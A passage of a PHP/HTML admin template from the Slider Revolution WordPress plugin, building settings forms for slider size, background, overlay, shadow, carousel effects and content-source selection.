						<label_a><?php _e('by Container', 'revslider');?></label_a><input class="sliderinput easyinit" data-r="size.fullScreenOffsetContainer" type="text" id="sr_fs_height__decrease_cont" placeholder="<?php _e('Enter Container .class or #id', 'revslider')?>">
						<span class="linebreak"></span>
						<label_a><?php _e('by PX or %', 'revslider');?></label_a><input data-numeric="true" data-allowed="px,%" data-r="size.fullScreenOffset" type="text" id="sr_fs_height_decrease" class="sliderinput easyinit">
						<span class="linebreak"></span>
						<longoption><i class="material-icons">select_all</i><label_a><?php _e('Dont Force Fullwidth', 'revslider');?></label_a><input type="checkbox"  id="sr_keepautowidth" class="easyinit sliderinput" data-evt="" data-r="size.disableForceFullWidth"/></longoption>
						<longoption><i class="material-icons">settings_cell</i><label_a style="overflow:visible"><?php _e('Ignore Mobile Height Changes', 'revslider');?></label_a><input type="checkbox"  id="sr_ignHeCha" class="sliderinput easyinit" data-r="size.ignoreHeightChanges"/></longoption>
					</div>
				</div>
			</div>


			<!-- SLIDER LAYOUT ADVANCED-->
			<div id="form_slider_layout_adv" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">settings_input_component</i><?php _e('Advanced Settings', 'revslider');?></div>
				<div class="collapsable">


					<div class="_nvojcm_ carouselunavailable standardavailable sceneavailable">
						<!-- SLIDER MIN HEIGHT AND MAX WIDTH -->
						<longoption class="slidermaxwidth"><i class="material-icons rcw">unfold_more</i><label_a><?php _e('Max Width', 'revslider');?></label_a><input data-allowed="px,%,none" data-min="0" data-numeric="true"  id="sr_size_maxwidth" data-r="size.maxWidth" data-evt="updatesliderlayout"  type="text"  class="sliderinput valueduekeyboard easyinit" placeholder="none"></longoption>
						<longoption class="sliderminheight"><i class="material-icons">unfold_less</i><label_a><?php _e('Min Height', 'revslider');?></label_a><input data-min="0" data-numeric="true"  data-allowed="px,%,none" id="sr_size_minheight" data-r="size.minHeight" data-evt="updatesliderlayout"  type="text" class="sliderinput valueduekeyboard smallinput easyinit" placeholder="none"></longoption>
						<longoption class="sliderfsminheight"><i class="material-icons">unfold_less</i><label_a><?php _e('Min Height', 'revslider');?></label_a><input data-min="0" data-numeric="true" data-allowed="none,px,%" id="sr_size_minheight_fs" data-r="size.minHeightFullScreen" placeholder="none" data-evt="updatesliderlayout"  type="text"  class="sliderinput valueduekeyboard easyinit"></longoption>
						<longoption><i class="material-icons">unfold_more</i><label_a><?php _e('Wrapper Max Height', 'revslider');?></label_a><input data-allowed="px,%,none" data-min="0" data-numeric="true"  id="sr_size_maxheight" data-r="size.maxHeight"  type="text"  class="sliderinput valueduekeyboard easyinit" placeholder="none"></longoption>

						<div class="div20"></div>
						<longoption><i class="material-icons">devices</i><label_a><?php _e('Keep Breakpoint Heights', 'revslider');?></label_a><input type="checkbox"  id="sr_breakpoint_heights" class="easyinit sliderinput" data-r="size.keepBPHeight"/></longoption>
						<longoption><i class="material-icons">aspect_ratio</i><label_a><?php _e('Respect Ratio', 'revslider');?></label_a><input type="checkbox"  id="sr_respectAR" class="easyinit sliderinput" data-evt="updatesliderlayout" data-r="size.respectAspectRatio"/></longoption>
						<longoption><i class="material-icons">open_with</i><label_a><?php _e('Grid = Module', 'revslider');?></label_a><input type="checkbox"  id="sr_layersAlignOnModule" class="easyinit sliderinput" data-evt="" data-r="size.layersAlignOnModule"/></longoption>
						<div id="layersupscaling"><longoption><i class="material-icons">open_in_full</i><label_a><?php _e('Enable Layer Upscaling', 'revslider');?></label_a><input type="checkbox"  id="sr_layerscanupscale" class="easyinit sliderinput" data-evt="" data-r="size.enableUpscaling"/></longoption></div>
						<div class="div20"></div>
						<longoption><i class="material-icons">tab_unselected</i><label_a><?php _e('Force Overflow Visible', 'revslider');?></label_a><input type="checkbox"  id="sr_forceOvVi" class="easyinit sliderinput" data-r="size.forceOverflow"/></longoption>
						<longoption><i class="material-icons">vertical_align_top</i><label_a><?php _e('Fixed on Top', 'revslider');?></label_a><input type="checkbox" class="easyinit sliderinput"  data-r="layout.position.fixedOnTop"/></longoption>
					</div>

					<!-- CAROUSEL ADVANCED SETTINGS -->
					<div class="carouselavailable standardunavailable sceneunavailable">
						<longoption><i class="material-icons">tab_unselected</i><label_a><?php _e('Force Overflow Hidden', 'revslider');?></label_a><input type="checkbox"  id="sr_forceOvHid" class="easyinit sliderinput" data-r="size.overflowHidden"/></longoption>
						<longoption class="usefullheight"><i class="material-icons">unfold_more</i><label_a><?php _e('Use Full Height for Content', 'revslider');?></label_a><input type="checkbox"  id="sr_forceOvHid" class="easyinit sliderinput" data-r="size.useFullScreenHeight"/></longoption>
					</div>
					<div class="div20"></div>
					<div class="carouselavailable standardavailable sceneavailable">						
						<label_a><?php _e('Perspective', 'revslider');?></label_a><select data-evt="updatePerspective" id="global_pers_type" class="sliderinput tos2 nosearchbox easyinit" data-r="general.perspectiveType" data-show=".global_perspecitve_*val*_settings" data-hide=".global_perspective_settings"> <option value="isometric"><?php _e('Isometric (Global)', 'revslider');?></option><option value="global"><?php _e('3D Uniform (Global)', 'revslider');?></option><option value="local"><?php _e('3D Individual (Local)', 'revslider');?></option></select>
						<div class="global_perspecitve_global_settings global_perspective_settings">
							<longoption><label_icon class="ui_perspective"></label_icon><label_a><?php _e('Layer Perspective Globally', 'revslider');?></label_a><input data-allowed="px" data-min="0" data-numeric="true"  id="global_layers_perspectives" data-r="general.perspective"  type="text"  class="sliderinput valueduekeyboard callEvent easyinit"  data-evt="updatePerspective" placeholder="none"></longoption>
						</div>
					</div>
				</div>
				<div class="div5"></div>
			</div>

			<!-- SLIDER  OVERLAY  -->
			<div id="form_slider_layout_decboovsh" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">drag_indicator</i><?php _e('Overlay', 'revslider');?></div>
				<div class="collapsable">
						<!-- SLIDER OVERLAY -->
						<label_a><?php _e('Overlay', 'revslider');?></label_a><select data-evt="drawBGOverlay" id="sr_overlay" class="dottedoverlay sliderinput tos2 nosearchbox easyinit callEvent" data-r="layout.bg.dottedOverlay"></select>
						<label_a><?php _e('Size', 'revslider');?></label_a><input data-numeric="true" data-allowed="none" data-min="0"  data-r="layout.bg.dottedOverlaySize" data-evt="drawBGOverlay"  type="text"  class="sliderinput valueduekeyboard  easyinit callEvent" placeholder="none" >
						<label_a><?php _e('Color 1', 'revslider');?></label_a><input type="text" data-editing="Background Overlay Color 1" data-evt="drawBGOverlay" name="sliderbgoverlaycolor_a" id="slideroverlaybgcolor_a" class="my-color-field sliderinput easyinit" data-visible="true" data-r="layout.bg.dottedColorA" value="transparent">
						<label_a><?php _e('Color 2', 'revslider');?></label_a><input type="text" data-editing="Background Overlay Color 2" data-evt="drawBGOverlay" name="sliderbgoverlaycolor_b" id="slideroverlaybgcolor_b" class="my-color-field sliderinput easyinit" data-visible="true" data-r="layout.bg.dottedColorB" value="transparent">
				</div>
			</div>

			<!-- SLIDER POSITION -->
			<div id="form_slidergeneral_general_sr_position" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">settings_overscan</i><?php _e('Module Position within Wrapper', 'revslider');?></div>
				<div class="collapsable" style="display:block !important">
					<!-- SLIDER POSITION SETTINGS -->
					<!--<label_a><?php _e('Align', 'revslider');?></label_a>
					<div class="radiooption">
						<div><input value="left" class="sliderinput easyinit" name="slider_pos_in_wrapper" data-r="layout.position.align" type="radio"><label_sub><?php _e('Left', 'revslider');?></label_sub></div>
						<div><input value="center" class="sliderinput easyinit" name="slider_pos_in_wrapper" data-r="layout.position.align" type="radio"><label_sub><?php _e('Center', 'revslider');?></label_sub></div>
						<div><input value="right" class="sliderinput easyinit" name="slider_pos_in_wrapper" data-r="layout.position.align" type="radio"><label_sub><?php _e('Right', 'revslider');?></label_sub></div>
					</div>
					<div class="div15"></div>-->
					<row class="direktrow">
						<onelong><label_a><?php _e('Clear After', 'revslider');?></label_a><input type="checkbox"  id="add_clear" class="sliderinput easyinit" data-r="layout.position.addClear"/></onelong>
						<oneshort></oneshort>
					</row>

					<row class="direktrow topbottommargins">
						<onelong><label_icon class="ui_margin_top"></label_icon><input type="text" data-numeric="true" data-allowed="px,%" id="sr_pos_marg_top" class="sliderinput easyinit withsuffix smallinput" data-r="layout.position.marginTop"/></onelong>
						<oneshort><label_icon class="ui_margin_bottom"></label_icon><input data-numeric="true" data-allowed="px,%" type="text"  id="sr_pos_marg_bottom" class="sliderinput easyinit withsuffix smallinput" data-r="layout.position.marginBottom"/></oneshort>
					</row>

				</div>
			</div>




			<!-- SLIDER LAYOUT MODULE BACKGROUND -->
			<div id="form_slider_layout_decmobg" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">format_color_fill</i><?php _e('Module Background', 'revslider');?></div>
				<div class="collapsable">
					<row class="direktrow">
						<onelong><label_a><?php _e('Use Image', 'revslider');?></label_a><input type="checkbox"  id="sr_usebgimage" class="sliderinput easyinit" data-evt="sliderBGUpdate" data-r="layout.bg.useImage" data-showhide=".slider_bg_moresettings_wr" data-showhidedep="true"/></onelong>
						<oneshort></oneshort>
					</row>
					<label_a><?php _e('BG Color', 'revslider');?></label_a><input type="text" data-editing="Slider Background Color" data-evt="sliderBGUpdate" name="sliderbgcolor" id="sliderbgcolor" class="my-color-field sliderinput easyinit" data-visible="true" data-r="layout.bg.color" value="transparent">
					<div class="div5"></div>
					<div class="sublabels_wrapper slider_bg_moresettings_wr">
						<row class="direktrow">
							<onelong style="min-width:90px;padding-right:0px;"><label_a><?php _e('BG Image', 'revslider');?></label_a><div style="margin-left:11px; margin-top:9px" class="miniprevimage_wrap"><i class="material-icons">filter_hdr</i><div id="slider_bg_image"></div><div data-evt="sliderBGUpdate" data-r="settings.layout.bg.image" data-rid="settings.layout.bg.imageId" data-sty="settings.layout.bg.imageSourceType" data-lib="settings.layout.bg.imageLib" data-default="" class="resettodefault basic_action_button callEventButton sliderinput onlyicon"><i class="material-icons">close</i></div></div></onelong>
							<oneshort>
								<div id="slider_bg_inputfields"><input style="min-width:185px !important;" class="sliderinput easyinit" data-r="layout.bg.image" type="text" id="sr_bgimage" placeholder="<?php _e('Enter External URL', 'revslider')?>"></div>
								<div data-evt="sliderBGUpdate" data-target="#sr_bgimage" id="sliderbg_image" data-r="settings.layout.bg.image" data-rid="settings.layout.bg.imageId" data-sty="settings.layout.bg.imageSourceType" data-lib="settings.layout.bg.imageLib" class="getImageFromMediaLibrary basic_action_button longbutton callEventButton"><i class="material-icons">style</i><?php _e('Media Library', 'revslider');?></div>
								<div data-evt="sliderBGUpdate" data-target="#sr_bgimage" id="sliderbg_image_ol" data-r="settings.layout.bg.image" data-rid="settings.layout.bg.imageId" data-sty="settings.layout.bg.imageSourceType" data-lib="settings.layout.bg.imageLib" class="getImageFromObjectLibrary basic_action_button longbutton callEventButton"><i class="material-icons">camera_enhance</i><?php _e('Object Library', 'revslider');?></div>
							</oneshort>
						</row>
						<!-- USED LIBRARY TYPE-->
						<div style="display:none" id="slider_used_library"><label_a class="singlerow"><?php _e('Used Library', 'revslider');?></label_a><select class="sliderinput easyinit" data-r="layout.bg.imageLib" data-show="#sliderbg_srctype_*val*" data-hide=".sliderbg_srctype_all" data-showprio="show"><option value="">Nothing</option><option value="objectlibrary">Objectlibrary</option><option value="medialibrary">MediaLibrary</option></select></div>
						<!-- SIZE / SRC PICKER FOR CURRENT USED LIBRARY TYPE-->
						<div id="slider_used_library_lists">
							<div id="sliderbg_srctype_objectlibrary" class="sliderbg_srctype_all"><label_a class="singlerow"><?php _e('Image Size', 'revslider');?></label_a><select class="sliderinput tos2 nosearchbox easyinit" data-evt="getNewImageSize" data-evtparam="slider.object" data-r="layout.bg.imageSourceType"><option value="100" selected="selected"><?php _e("Original", 'revslider');?></option><option value="75" selected="selected"><?php _e("Large", 'revslider');?></option><option value="50" selected="selected"><?php _e("Medium", 'revslider');?></option><option value="25" selected="selected"><?php _e("Small", 'revslider');?></option><option value="10" selected="selected"><?php _e("Extra Small", 'revslider');?></option></select></div>
							<div id="sliderbg_srctype_medialibrary" class="sliderbg_srctype_all"><label_a class="singlerow"><?php _e('Source Type', 'revslider');?></label_a><select class="sliderinput tos2 nosearchbox easyinit" data-evt="getNewImageSize" data-evtparam="slider.media" data-r="layout.bg.imageSourceType"><option value="auto" selected="selected"><?php _e("Default Setting", 'revslider');?></option><?php foreach ($img_sizes as $imghandle => $imgSize) { echo '<option value="' . $imghandle . '">' . $imgSize . '</option>';}?></select></div>
						</div>

						<div class="div20"></div>
						<select style="display:none !important" id="sr_bgimage_pos" data-unselect=".sliderm_bg_position_selector" data-select="#sliderm_bg_position_*val*" data-evt="sliderBGUpdate" class="sliderinput easyinit"  data-r="layout.bg.position"><option value="left center"><?php _e('left center', 'revslider');?></option><option value="left bottom"><?php _e('left bottom', 'revslider');?></option><option value="left top"><?php _e('left top', 'revslider');?></option><option value="center top"><?php _e('center top', 'revslider');?></option><option value="center center"><?php _e('center center', 'revslider');?></option><option value="center bottom"><?php _e('center bottom', 'revslider');?></option>																				<option value="right top"><?php _e('right top', 'revslider');?></option><option value="right center"><?php _e('right center', 'revslider');?></option><option value="right bottom"><?php _e('right bottom', 'revslider');?></option></select>
						<row class="direktrow">
							<onelong>
								<label_a><?php _e('Position', 'revslider');?></label_a><!--
									--><div class="bg_alignselector_wrap">
										<div class="bg_align_row">
											<div class="triggerselect sliderm_bg_position_selector bg_alignselector" data-select="#sr_bgimage_pos" data-val="left top" id="sliderm_bg_position_left-top"></div>
											<div class="triggerselect sliderm_bg_position_selector bg_alignselector" data-select="#sr_bgimage_pos" data-val="center top" id="sliderm_bg_position_center-top"></div>
											<div class="triggerselect sliderm_bg_position_selector bg_alignselector" data-select="#sr_bgimage_pos" data-val="right top" id="sliderm_bg_position_right-top"></div>
										</div>
										<div class="bg_align_row">
											<div class="triggerselect sliderm_bg_position_selector bg_alignselector" data-select="#sr_bgimage_pos" data-val="left center" id="sliderm_bg_position_left-center"></div>
											<div class="triggerselect sliderm_bg_position_selector bg_alignselector" data-select="#sr_bgimage_pos" data-val="center center" id="sliderm_bg_position_center-center"></div>
											<div class="triggerselect sliderm_bg_position_selector bg_alignselector" data-select="#sr_bgimage_pos" data-val="right center" id="sliderm_bg_position_right-center"></div>
										</div>
										<div class="bg_align_row">
											<div class="triggerselect sliderm_bg_position_selector bg_alignselector" data-select="#sr_bgimage_pos" data-val="left bottom" id="sliderm_bg_position_left-bottom"></div>
											<div class="triggerselect sliderm_bg_position_selector bg_alignselector" data-select="#sr_bgimage_pos" data-val="center bottom" id="sliderm_bg_position_center-bottom"></div>
											<div class="triggerselect sliderm_bg_position_selector bg_alignselector" data-select="#sr_bgimage_pos" data-val="right bottom" id="sliderm_bg_position_right-bottom"></div>
										</div>
									</div>
							</onelong>
							<oneshort>
								<label_icon class="ui_fit"></label_icon><select data-evt="sliderBGUpdate" id="sr_bgimage_fit" class="sliderinput tos2 nosearchbox easyinit" data-theme="minl120" data-r="layout.bg.fit" ><option value="cover">cover</option><option value="contain">contain</option><option value="normal">normal</option></select>
								<label_icon class="ui_repeat"></label_icon><select data-evt="sliderBGUpdate" id="sr_bgimage_repeat" class="sliderinput tos2 nosearchbox easyinit" data-theme="minl120" data-r="layout.bg.repeat" ><option value="no-repeat">no</option><option value="repeat">repeat</option><option value="repeat-x">x</option><option value="repeat-y">y</option></select>
							</oneshort>
						</row>
					</div>
				</div>
			</div>
			<!-- SLIDER LAYOUT MODULE PADDING , OVERLAY and SHADOW -->
			<div id="form_slider_layout_decboovsh" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">flip_to_back</i><?php _e('Border & Shadow', 'revslider');?></div>
				<div class="collapsable">						
						<!-- SLIDER SHADOW -->
						<label_a><?php _e('Shadow Type', 'revslider');?></label_a><select data-evt="sliderBGUpdate" id="sr_shadow" class="sliderinput tos2 nosearchbox easyinit" data-r="layout.bg.shadow" ><option value="0"><?php _e('No Shadow', 'revslider');?></option><option value="1">1</option><option value="2">2</option><option value="3">3</option><option value="4">4</option><option value="5">5</option><option value="6">6</option><option value="7">7</option><option value="8">8</option></select>
						<!-- PADDING -->
						<label_a><?php _e('Gap (Border)', 'revslider');?></label_a><input data-numeric="true" data-allowed="px,none" data-min="0"  id="sr_layout_padding" data-r="layout.bg.padding" data-evt="updatesliderlayout"  type="text"  class="sliderinput valueduekeyboard  easyinit" placeholder="none" >

				</div>
			</div>
		</div>
	</div><!-- END OF SLIDER LAYOUT SETTINGS -->

	<!-- MODULE CAROUSEL SETTINGS -->
	<div class="form_collector slider_general_collector" data-type="sliderconfig" data-pcontainer="#slider_settings" data-offset="#rev_builder_wrapper">
		<div id="form_module_carousel"  data-select="#gst_sl_3"  class="formcontainer form_menu_inside collapsed">
			<!--<div class="collectortabwrap"><div id="" class="collectortab form_menu_inside" data-forms='["#form_module_carousel"]'><?php _e('Caraousel', 'revslider');?></div></div>			-->
			<!--<div class="form_intoaccordion"><i class="material-icons">arrow_drop_down</i></div>			-->
			<div id="form_slidergeneral_caroussel" class="form_inner">
				<div class="form_inner_header"><i class="material-icons">view_carousel</i><?php _e('Carousel Layout', 'revslider');?></div>

				<div class="collapsable" style="display:block !important">
					<longoption><label_a><?php _e('Keep Aspect Ratio (Justify)', 'revslider');?></label_a><input type="checkbox"  id="sr_ca_justi" class="sliderinput easyinit callEvent" data-evt="device_area_dimension_update" data-showhide=".nojustifywall" data-hideshow=".justifywall" data-showhidedep="false"  data-r="carousel.justify"/></longoption>
					<div class="justifywall"><longoption><label_a><?php _e('Max Width 100%', 'revslider');?></label_a><input type="checkbox"  id="sr_ca_justi_maxwidth" class="sliderinput easyinit"  data-r="carousel.justifyMaxWidth"/></longoption></div>
					<longoption><label_a><?php _e('Snap to X Alignment', 'revslider');?></label_a><input type="checkbox"  id="sr_ca_snap" class="sliderinput easyinit"  data-r="carousel.snap"/></longoption>
					<longoption><label_a><?php _e('Infinity Scroll', 'revslider');?></label_a><input type="checkbox"  id="sr_ca_inf" class="sliderinput easyinit" data-evt="" data-r="carousel.infinity"/></longoption>
					<div class="div20"></div>
					<label_a><?php _e('Visible Layers', 'revslider');?></label_a><select id="sr_ca_showAllLayers" class="sliderinput tos2 nosearchbox easyinit" data-r="carousel.showAllLayers" data-show="._lavoc_*val*" data-hide="._lavoc_" data-showprio="show"><option value="false"><?php _e('If Slide in Focus', 'revslider');?></option><option value="all"><?php _e('Always on all Slide', 'revslider');?></option><option value="individual"><?php _e('Set by Layer Visibility', 'revslider');?></option></select>
					<div class="div20"></div>					
					<row class="directrow">
						<onelong><label_a><?php _e('Max. Visible', 'revslider');?></label_a><select data-change="sr_ca_stretch" data-changeto='false' data-changewhennot="1" data-evt="updatesliderlayout" id="sr_ca_mitems" class="sliderinput tos2 nosearchbox easyinit" data-r="carousel.maxItems" ><option value="1">1</option><option value="3">3</option><option value="5">5</option><option value="7">7</option><option value="9">9</option><option value="11">11</option><option value="13">13</option><option value="15">15</option><option value="17">17</option></select></onelong>
					</row>
					<div class="nojustifywall">
						<label_a><?php _e('Stretch Slides', 'revslider');?></label_a><input type="checkbox"  data-evt="updatesliderlayout" id="sr_ca_stretch" data-change="sr_ca_mitems" data-changeto="1" data-changewhen='true' class="sliderinput easyinit" data-evt="" data-r="carousel.stretch"/><span class="linebreak"></span>
					</div>
					<row class="directrow">
						<onelong><label_icon class="ui_bradius"></label_icon><input data-allowed="px,%" data-evt="updatesliderlayout" data-r="carousel.borderRadius" type="text" id="sr_ca_br" data-numeric="true" class="sliderinput  easyinit valueduekeyboard"></onelong>
						<oneshort><label_icon class="ui_gap"></label_icon><input data-evt="updatesliderlayout" data-min="-700"  id="sr_ca_gap" data-r="carousel.space" data-numeric="true" data-allowed="px" data-evt=""  type="text"  class="sliderinput valueduekeyboard  easyinit" placeholder="none" ></oneshort>
					</row>
					<div class="nojustifywall">
						<row class="directrow">
							<onelong><label_icon class="ui_padding_top"></label_icon><input data-evt="updatesliderlayout" data-min="0"  id="sr_ca_pdt" data-r="carousel.paddingTop" data-numeric="true" data-allowed="px" data-evt=""  type="text"  class="sliderinput valueduekeyboard  easyinit" placeholder="none" ></onelong>
							<oneshort><label_icon class="ui_padding_bottom"></label_icon><input data-evt="updatesliderlayout" data-min="0"  id="sr_ca_pdb" data-r="carousel.paddingBottom" data-numeric="true" data-allowed="px" data-evt=""  type="text"  class="sliderinput valueduekeyboard  easyinit" placeholder="none" ></oneshort>
						</row>
					</div>
					<row class="directrow">
						<onelong><label_icon class="ui_x"></label_icon><select id="sr_ca_halign" class="sliderinput tos2 nosearchbox easyinit" data-r="carousel.horizontal" ><option value="left"><?php _e('Left', 'revslider');?></option><option value="center"><?php _e('Center', 'revslider');?></option><option value="right"><?php _e('Right', 'revslider');?></option></select></onelong>
						<oneshort><label_icon class="ui_y"></label_icon><select id="sr_ca_valign" class="sliderinput tos2 nosearchbox easyinit" data-r="carousel.vertical" ><option value="top"><?php _e('Top', 'revslider');?></option><option value="center"><?php _e('Center', 'revslider');?></option><option value="bottom"><?php _e('Bottom', 'revslider');?></option></select></oneshort>
					</row>
				</div>
			</div>

			<div id="form_slidergeneral_caroussel_animation" class="form_inner">
				<div class="form_inner_header"><i class="material-icons">local_play</i><?php _e('Animation', 'revslider');?></div>
				<div class="collapsable" style="display:block !important">
					<label_a><?php _e('Easing', 'revslider');?></label_a><select id="sr_ca_ease" class="sliderinput tos2 searchbox easyinit easingSelect" data-r="carousel.ease"></select>
					<label_a><?php _e('Ease Speed', 'revslider');?></label_a><input data-allowed="ms" data-min="0"  id="sr_ca_speed" data-r="carousel.speed" data-numeric="true" data-evt=""  type="text"  class="sliderinput valueduekeyboard  easyinit">
				</div>
			</div>

			<div id="form_slidergeneral_caroussel_effects" class="form_inner nojustifywall">
				<div class="form_inner_header"><i class="material-icons">linear_scale</i><?php _e('Effects', 'revslider');?></div>
				<div class="collapsable" style="display:block !important">
					<row class="directrow">
						<onelong><label_a><?php _e('Fade', 'revslider');?></label_a><input type="checkbox" data-evt="updatesliderlayout" data-showhide="#carosel_fade_vary_wrap" data-showhidedep="true" id="sr_ca_fadeall" class="sliderinput easyinit" data-evt="" data-r="carousel.fadeOut"/></onelong>
						<oneshort id="carosel_fade_vary_wrap">
							<label_icon class="ui_max_fadedown"></label_icon><input data-evt="updatesliderlayout" data-min="0"  id="sr_ca_maxopa" data-r="carousel.maxOpacity" data-numeric="true" data-allowed="%" data-evt=""  data-min="0" data-max="100" type="text"  class="sliderinput valueduekeyboard  easyinit"><span class="linebreak"></span>
							<label_icon class="ui_v_fade"></label_icon><input type="checkbox"  data-evt="updatesliderlayout" id="sr_ca_vfadeall" class="sliderinput easyinit" data-evt="" data-r="carousel.varyFade"/></oneshort>
					</row>
					<row class="directrow">
						<onelong><label_a><?php _e('Rotation', 'revslider');?></label_a><input data-evt="updatesliderlayout" type="checkbox" data-showhide=".carosel_rotate_vary_wrap" data-showhidedep="true"  id="sr_ca_rotate" class="sliderinput easyinit" data-evt="" data-r="carousel.rotation"/></onelong>
						<oneshort class="carosel_rotate_vary_wrap">
							<label_icon class="ui_max_rotation"></label_icon><input data-evt="updatesliderlayout" data-min="0"  id="sr_ca_maxrot" data-r="carousel.maxRotation" data-numeric="true" data-allowed="deg" data-evt=""  type="text"  class="sliderinput valueduekeyboard  easyinit"><span class="linebreak"></span>
							<label_icon class="ui_v_rotation"></label_icon><input data-evt="updatesliderlayout" type="checkbox"  id="sr_ca_vrotate" class="sliderinput easyinit" data-evt="" data-r="carousel.varyRotate"/><span class="linebreak"></span>
						</oneshort>
					</row>
					<row class="directrow">
						<onelong><label_a><?php _e('Scale', 'revslider');?></label_a><input type="checkbox" data-evt="updatesliderlayout" data-showhide=".carosel_scale_vary_wrap" data-showhidedep="true"  id="sr_ca_scale" class="sliderinput easyinit" data-evt="" data-r="carousel.scale"/></onelong>
						<oneshort class="carosel_scale_vary_wrap">
							<label_icon class="ui_max_scaledown"></label_icon><input data-evt="updatesliderlayout" data-min="0"  id="sr_ca_scaleDown" data-r="carousel.scaleDown" data-numeric="true" data-allowed="%" data-evt=""  type="text"  class="sliderinput valueduekeyboard  easyinit"><span class="linebreak"></span>
						</oneshort>
					</row>
					<row class="directrow carosel_scale_vary_wrap">
						<onelong><label_a><?php _e('Scale Offset', 'revslider');?></label_a><input type="checkbox" data-evt="updatesliderlayout" id="sr_ca_offsetscale" class="sliderinput easyinit" data-evt="" data-r="carousel.offsetScale"/></onelong>
						<oneshort><label_icon class="ui_v_scale"></label_icon><input data-evt="updatesliderlayout" type="checkbox"  id="sr_ca_vscale" class="sliderinput easyinit" data-evt="" data-r="carousel.varyScale"/></oneshort>
					</row>
				</div><!-- END OF COLLAPSABLE-->
			</div>
			<!--END OF MODULE CAROUSSEL -->
		</div>
	</div><!-- END OF CAROUSSEL SETTINGS -->

	<!-- SLIDER CONTENT SETTINGS -->
	<div class="form_collector slider_general_collector" data-type="sliderconfig" data-pcontainer="#slider_settings" data-offset="#rev_builder_wrapper">
		<div id="form_slidercontent"  data-select="#gst_sl_4"  class="formcontainer form_menu_inside collapsed">
			<!--<div class="collectortabwrap"><div id="collectortab_form_sliderlayout" class="collectortab form_menu_inside" data-forms='["#form_slidercontent"]'><i class="material-icons">filter_hdr</i><?php _e('Content', 'revslider');?></div></div>-->
			<div style="display:none"  class="form_intoaccordion"><i class="material-icons">arrow_drop_down</i></div>


			<!-- SLIDER SOURCE CONTENT -->
			<div id="form_slider_content_content" data-evt="loadStreamDependencies" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">insert_comment</i><?php _e('Content', 'revslider');?></div>
				<div style="display:none" class="form_intoaccordion" data-trigger="#slr_fsc_l1"><i class="material-icons">arrow_drop_down</i></div>
				<div class="collapsable">
					<div id="rs-module-source-wrap">
						<label_a id="rs-module-source-label"><?php _e('Source', 'revslider');?></label_a>
						<div class="radiooption">
							<div><input value="gallery" type="radio" name="slider_sourcetype" class="sliderinput easyinit" data-evt="loadStreamDependencies" data-evtparam="force" data-show="#source_*val*_settings" data-hide=".source_subsetting_wrapper" data-r="sourcetype"><label_sub><?php _e('Custom', 'revslider');?></label_sub></div>
							<div><input value="post" type="radio" name="slider_sourcetype" class="sliderinput easyinit" data-evt="loadStreamDependencies" data-evtparam="force" data-show="#source_*val*_settings, #post_typesubselector" data-hide=".source_subsetting_wrapper" data-r="sourcetype"><label_sub><?php _e('Post-Based', 'revslider');?></label_sub></div>
							<div><input value="woo" type="radio" name="slider_sourcetype" class="sliderinput easyinit" data-evt="loadStreamDependencies" data-evtparam="force" data-show="#source_*val*_settings" data-hide=".source_subsetting_wrapper" data-r="sourcetype"><label_sub><?php _e('WooCommerce', 'revslider');?></label_sub></div>
							<div><input value="flickr" type="radio" name="slider_sourcetype" class="sliderinput easyinit" data-evt="loadStreamDependencies" data-evtparam="force" data-show="#source_*val*_settings" data-hide=".source_subsetting_wrapper" data-r="sourcetype"><label_sub><?php _e('Flickr', 'revslider');?></label_sub></div>
							<div><input value="instagram" type="radio" name="slider_sourcetype" class="sliderinput easyinit" data-evt="loadStreamDependencies" data-evtparam="force" data-show="#source_*val*_settings" data-hide=".source_subsetting_wrapper" data-r="sourcetype"><label_sub><?php _e('Instagram', 'revslider');?></label_sub></div>
							<div><input value="twitter" type="radio" name="slider_sourcetype" class="sliderinput easyinit" data-evt="loadStreamDependencies" data-evtparam="force" data-show="#source_*val*_settings" data-hide=".source_subsetting_wrapper" data-r="sourcetype"><label_sub><?php _e('Twitter', 'revslider');?></label_sub></div>
							<div><input value="facebook" type="radio" name="slider_sourcetype" class="sliderinput easyinit" data-evt="loadStreamDependencies" data-evtparam="force" data-show="#source_*val*_settings" data-hide=".source_subsetting_wrapper" data-r="sourcetype"><label_sub><?php _e('Facebook', 'revslider');?></label_sub></div>
							<div><input value="youtube" type="radio" name="slider_sourcetype" class="sliderinput easyinit" data-evt="loadStreamDependencies" data-evtparam="force" data-show="#source_*val*_settings" data-hide=".source_subsetting_wrapper" data-r="sourcetype"><label_sub><?php _e('YouTube', 'revslider');?></label_sub></div>
							<div><input value="vimeo" type="radio" name="slider_sourcetype" class="sliderinput easyinit" data-evt="loadStreamDependencies" data-evtparam="force" data-show="#source_*val*_settings" data-hide=".source_subsetting_wrapper" data-r="sourcetype"><label_sub><?php _e('Vimeo', 'revslider');?></label_sub></div>
						</div>
					</div>
					<div id="post_typesubselector" class="source_subsetting_wrapper" style="display:none">
						<div class="div15"></div>
						<label_a><?php _e('Type', 'revslider');?></label_a>
						<div class="radiooption">
							<div id="sps_post"><input data-r="source.post.subType" type="radio" value="post" name="slidersourcesubtype" class="easyinit sliderinput" data-show="#post_all_subtypesettings, #post_subtype_settings_wrapper" data-hide="#specificpost_subtype_settings_wrapper" ><label_sub><?php _e('Post', 'revslider');?></label_sub></div>
							<div id="sps_specific_post"><input data-r="source.post.subType" type="radio" value="specific_post" name="slidersourcesubtype" class="easyinit sliderinput" data-show="#post_all_subtypesettings, #specificpost_subtype_settings_wrapper, .fetch_ .sorts_" data-hide="#post_subtype_settings_wrapper"><label_sub><?php _e('Specific Post', 'revslider');?></label_sub></div>
							<div id="sps_current_post"><input data-r="source.post.subType" type="radio" value="current_post" name="slidersourcesubtype" class="easyinit sliderinput" data-show="" data-hide="#post_all_subtypesettings"><label_sub><?php _e('Current Post', 'revslider');?></label_sub></div>
						</div>
					</div>
				</div>
			</div>

			<!-- POST VISIBILITY -->
			<div id="source_post_settings" class="source_subsetting_wrapper" style="display:none">
				<div id="post_all_subtypesettings">
					<!-- POST SSELECTION -->
					<div id="form_slider_content_post_selection" data-evt="loadStreamDependencies" class="form_inner open">
						<div class="form_inner_header"><i class="material-icons">description</i><?php _e('Post Selection', 'revslider');?></div>
						<div style="display:none"  class="form_intoaccordion" data-trigger="#slr_fsc_l2"><i class="material-icons">arrow_drop_down</i></div>
